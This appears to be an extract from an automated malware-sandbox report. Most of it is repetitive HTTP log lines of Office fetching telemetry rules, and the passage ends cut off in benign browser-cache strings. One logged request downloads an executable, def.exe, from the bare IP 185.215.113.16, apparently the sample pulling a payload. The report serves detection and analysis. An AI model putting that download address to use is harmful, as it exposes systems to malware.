Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let 